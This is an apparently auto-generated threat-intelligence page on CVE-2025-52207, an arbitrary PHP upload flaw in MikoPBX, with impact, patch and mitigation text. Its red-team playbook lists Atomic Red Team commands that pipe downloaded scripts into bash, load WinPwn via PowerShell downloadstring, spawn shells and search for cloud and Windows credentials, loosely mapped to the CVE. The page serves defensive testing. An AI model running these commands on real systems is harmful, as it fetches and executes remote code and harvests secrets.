CVE-2025-52207
Overview
This vulnerability is a directory traversal and unrestricted file upload flaw in MikoPBX's PBXCoreREST API, specifically within the Files/PostController.php component. The root cause is insufficient validation of file upload paths, allowing an authenticated user with low privileges to upload PHP scripts to arbitrary directories. This improper sanitization of file paths enables manipulation of the destination directory during file upload operations.
Vulnerability Description
PBXCoreREST/Controllers/Files/PostController.php in MikoPBX through 2024.1.114 allows uploading a PHP script to an arbitrary directory.
Impact
An attacker with low-level authentication privileges can upload and execute arbitrary PHP scripts on the MikoPBX server, enabling remote code execution with elevated impact on confidentiality, integrity, and availability. This can lead to full system compromise, data exfiltration, or service disruption. The attack requires network access and valid credentials (PR:L), but no user interaction (UI:N). The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L) reflects the high severity and potential for widespread impact within the compromised environment.
Solution
MikoPBX has addressed this vulnerability in versions released after 2024.1.114, as documented in the vendor's GitHub repository commit 3ee785429d3f1b33c9ab387ef4221127c9b8c5f3. Users should upgrade to the latest MikoPBX Core version that includes this fix to ensure proper validation of file upload paths. Refer to https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3 for detailed patch information and update instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in MikoPBX stems from an insecure file upload mechanism within the PostController.php file, which allows an attacker to upload a PHP script to an arbitrary directory on the server. This flaw arises from inadequate input validation and insufficient restrictions on file types that can be uploaded. When a malicious actor exploits this vulnerability, they can place a PHP script in a location accessible by the web server, enabling them to execute arbitrary code. The implications of this vulnerability are severe, as it can lead to full system compromise, data exfiltration, and unauthorized access to sensitive information.
Attack vectors for this vulnerability are straightforward yet effective. An attacker could craft a malicious PHP file disguised as a legitimate document or image and upload it through the vulnerable file upload functionality. Once the file is uploaded, the attacker can access it via a web browser, triggering the execution of the PHP code. This could be used to create a backdoor, allowing persistent access to the system, or to manipulate data and configurations within the PBX system. Additionally, the attacker could leverage this access to pivot to other systems within the network, escalating their attack further and potentially compromising additional assets.
The real-world impact of such a vulnerability can be catastrophic for organizations relying on MikoPBX for their telecommunication needs. A successful exploitation could lead to unauthorized interception of calls, manipulation of call routing, and exposure of sensitive customer data. The business risks associated with this vulnerability include financial loss due to operational disruptions, legal ramifications from data breaches, and significant reputational damage. Organizations could face regulatory scrutiny and potential fines, particularly if sensitive personal information is compromised. The high CVSS score of 9.9 indicates that this vulnerability poses a critical threat that must be addressed promptly.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, they should conduct a thorough security assessment of their MikoPBX installation, focusing on file upload functionalities. Regular security audits and penetration testing can help identify and remediate vulnerabilities before they can be exploited. Additionally, organizations should enforce strict file type validation and implement measures such as whitelisting allowed file extensions, ensuring that only safe file types can be uploaded. Employing web application firewalls (WAFs) can also provide an additional layer of security by filtering and monitoring HTTP requests to detect and block malicious uploads.
Furthermore, keeping the MikoPBX software up to date is crucial, as updates often include patches for known vulnerabilities. Organizations should also consider implementing a robust incident response plan to quickly address any potential breaches. This plan should include monitoring for unusual activity, logging access attempts, and establishing protocols for responding to detected intrusions. By adopting a proactive security posture and employing layered defenses, organizations can significantly reduce the risk posed by this vulnerability and protect their critical communication infrastructure.
CSURFACE threat intelligence has detected a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-52207, reflecting a growing likelihood of exploitation attempts targeting the MikoPBX vulnerability. Although no new exploit techniques or proof-of-concept developments have been observed, the elevated EPSS score—now approaching the 0.1 threshold—indicates heightened attacker interest or improved exploitability conditions. This upward shift suggests that threat actors may be prioritizing this vulnerability within their targeting frameworks, potentially due to its critical severity and the ability to upload malicious PHP scripts to arbitrary directories, which could facilitate remote code execution and system compromise. For defenders, this change underscores an increased risk environment where the window for successful exploitation is narrowing, emphasizing the importance of vigilant monitoring and rapid response capabilities. While the overall exploit landscape remains stable without a surge in active exploitation campaigns, the rising EPSS score warrants recalibrated risk assessments that recognize a moderate escalation in threat actor focus and potential attack frequency.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-139 | Relative Path Traversal |
38%
|
High | High | |
| CAPEC-76 | Manipulating Web Input to File System Calls |
35%
|
High | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-52207 |
| mikopbx.com |
GitHub CVE
|
https://www.mikopbx.com/ |
| github.com |
GitHub CVE
|
https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3 |